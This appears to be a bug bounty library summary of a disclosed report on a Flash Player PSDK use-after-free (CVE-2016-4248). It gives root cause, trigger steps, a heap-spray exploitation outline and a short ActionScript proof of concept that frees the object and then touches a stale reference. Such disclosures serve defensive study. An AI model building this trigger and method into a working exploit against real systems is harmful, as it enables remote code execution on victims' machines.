# Adobe Flash Player PSDK Class Use After Free Vulnerability

PSDK.release() frees the inner pSDK memory but leaves AS3 references dangling, letting a second reference invoke virtual functions on freed memory for UAF.

- Payout: $5,000
- Severity: high
- Program: Internet Bug Bounty
- Found by: hhj4ck
- Disclosed: 2019-11-12
- CVE: CVE-2016-4248
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/151043
- Library page: https://bugbountylibrary.com/r/h1%3A151043
- Tags: area:os domain:browser impact:rce kind:bounty platform:hackerone sev:high technique:source-review vuln:memory-corruption

**Target:** Adobe Flash Player 22.0.0.192, com.adobe.tvsdk.mediacore.PSDK class
**Root cause:** PSDK.release() frees the inner pSDK memory block but does not null out or invalidate all AS3 references to the PSDK object, leaving dangling pointers usable for virtual calls.
**Steps:**
1. Obtain two AS3 references to the singleton: `var ps:PSDK = PSDK.pSDK; var ps_:PSDK = PSDK.pSDK;`
2. Call `ps.release()` to free the inner pSDK memory.
3. Access a member on the stale reference, e.g. `ps_.currentTime`, triggering a virtual function call on freed memory.
4. Spray AS3 objects to occupy the freed PSDK memory and control the vtable/function pointer for shellcode execution.
**How found:** Noticed PSDK exposes a public release() that frees inner memory, then reasoned that not all AS3 references are cleaned, so a second reference could still invoke virtual functions on the freed block.
**Exploitation:** Release condition is highly controllable; attacker frees PSDK memory via release(), then sprays AS3 objects to occupy the freed block and hijack the virtual call for shellcode execution.
**Insight:** When an API exposes an explicit release()/free() on a singleton, check whether other live references to the same object remain usable — dangling-reference virtual calls are a reliable UAF primitive.

## Proof of concept (copied exactly from the original report)

**AS3 PoC releasing PSDK then accessing currentTime**

```
package
{
            import com.adobe.tvsdk.mediacore.PSDK;  
            import flash.display.Sprite;    
           
            public class poc extends Sprite
            {
                        public function poc()
                        {
                                    var ps:PSDK = PSDK.pSDK;
                                    var ps_:PSDK = PSDK.pSDK;
                                    ps.release();
                                    ps_.currentTime;
                        }
            }
}
```

